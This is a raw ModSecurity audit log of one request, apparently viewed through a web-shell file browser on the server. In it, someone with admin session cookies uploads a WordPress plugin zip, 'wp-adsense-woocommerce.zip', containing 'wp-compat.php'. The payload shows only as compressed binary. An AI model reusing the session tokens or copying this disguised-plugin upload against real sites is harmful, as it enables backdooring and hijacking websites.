HEX
Server: Apache
System: Linux msm5694.mjhst.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User: camjab_ssh (1000)
PHP: 5.3.29
Disabled: NONE
Upload Files
File: //var/lib/modsecurity/audit/20260210/20260210-1847/20260210-184708-aYvDerhenDUAABLoM5UAAAAT
--e3924050-A--
[10/Feb/2026:18:47:08 --0500] aYvDerhenDUAABLoM5UAAAAT 193.24.211.22 53896 127.0.0.162 80
--e3924050-B--
POST /wp-admin/update.php?action=upload-plugin HTTP/1.1
X-Real-IP: 193.24.211.22
Host: www.mentube.net
Connection: close
Content-Length: 1769
HTTP2-Settings: AAEAAQAAAAIAAAAAAAQAYAAAAAYABAAA
Cookie: wordpress_40d4171108fbff4cf1959b09392fae3c=admin%7C1770940018%7CakI9PCWvLa36nTM8GSlvoqmQob4meEPKAKKxF9aPLW8%7C625eb336e65976793503655c89e6c0ef72f0c17be735ca3f05e4ad231f3d693d; wordpress_logged_in_40d4171108fbff4cf1959b09392fae3c=admin%7C1770940018%7CakI9PCWvLa36nTM8GSlvoqmQob4meEPKAKKxF9aPLW8%7Ced12c188773ef3c0f272f77b60931f875ba0b1561b54403e5269a8598317665c; wordpress_test_cookie=WP+Cookie+check; wp-settings-time-1=1770767220; wp-settings-1=m0%3Do%26m1%3Do%26m2%3Dc%26m3%3Dc%26m4%3Do%26m5%3Do%26m6%3Dc%26m7%3Dc%26m8%3Do%26editor%3Dhtml%26m9%3Do%26m10%3Do%26posts_list_mode%3Dlist
sec-ch-ua: "Chromium";v="136", "Google Chrome";v="136", "Not.A/Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.207 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.5
Priority: u=0, i
Cache-Control: max-age=0
DNT: 1
Origin: www.mentube.net
Referer: http://www.mentube.net/wp-admin/update.php?action=upload-plugin
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarynutdtl4vom0pwmum

--e3924050-C--
------WebKitFormBoundarynutdtl4vom0pwmum
Content-Disposition: form-data; name="_wpnonce"

d2f51dc103
------WebKitFormBoundarynutdtl4vom0pwmum
Content-Disposition: form-data; name="_wp_http_referer"

/wp-admin/plugin-install.php?tab=upload
------WebKitFormBoundarynutdtl4vom0pwmum
Content-Disposition: form-data; name="pluginzip"; filename="wp-adsense-woocommerce.zip"
Content-Type: application/octet-stream

PKJ\~8wp-compat/wp-compat.phpVmo6_q)P'Y?-#Ac%P/Km`[sy{oyRlD
WlvmδXD'3ބP\,=+؊46R	9$Ls6\r
c{NGFz3Y?R-źЙTc{HCG.inui%Iֽ͢2kziS*.5-^ gmIɞJHfH)%0̃LYga-gJnxswN`”t-I';?72!vOp|5B/C8-.E옵I5KjΟyDEmY^槈ҌHl!ҍ}Ym~'L<KU]YF8X.\bj_vUjr[&CURy6ff߻gN4w`
54٭RWC*\1b9[vHg+Ncђq/}6av|}#UpA6⢲ u!S!BJc-P,_NyjZw.Mʂ.o>
e'h619DX;	۬wڽH4<Sjn.W_GL@4Enmҹw:fP󄅜,IE;߿	F1>MWO-{OP
4@	HK
]Y'\]kZIƢ#'<z#38T
[F0Wg޶2*HpRRF7Ɉ.v,GY/7)]1'\Ф號^?t
Js;O65(mf˧5S<Iq|2*
%+ί+j#V!=?ϦKr{}3Lz9uvE[Lo̥dMN2#Q$smLR1[|ZC
PKJ\~8wp-compat/wp-compat.phpPKEE
------WebKitFormBoundarynutdtl4vom0pwmum
Content-Disposition: form-data; name="install-plugin-submit"

Install Now
------WebKitFormBoundarynutdtl4vom0pwmum--

--e3924050-I--
%5fwpnonce=d2f51dc103&%5fwp%5fhttp%5freferer=%2fwp%2dadmin%2fplugin%2dinstall%2ephp%3ftab%3dupload&install%2dplugin%2dsubmit=Install+Now
--e3924050-F--
HTTP/1.1 500 Internal Server Error
X-Powered-By: PHP/5.3.29
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
X-Frame-Options: SAMEORIGIN
Referrer-Policy: strict-origin-when-cross-origin
Content-Length: 2798
Connection: close
Content-Type: text/html; charset=utf-8

--e3924050-E--

--e3924050-H--
Stopwatch: 1770767226543405 2062839 (- - -)
Stopwatch2: 1770767226543405 2062839; combined=90, p1=59, p2=14, p3=15, p4=0, p5=1, sr=38, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.1 (http://www.modsecurity.org/); 200911012341.
Server: Apache/2.2.31 (Unix) mod_ssl/2.2.31 OpenSSL/1.0.2k-fips PHP/5.3.29 mod_fastcgi/2.4.6
Engine-Mode: "ENABLED"

--e3924050-Z--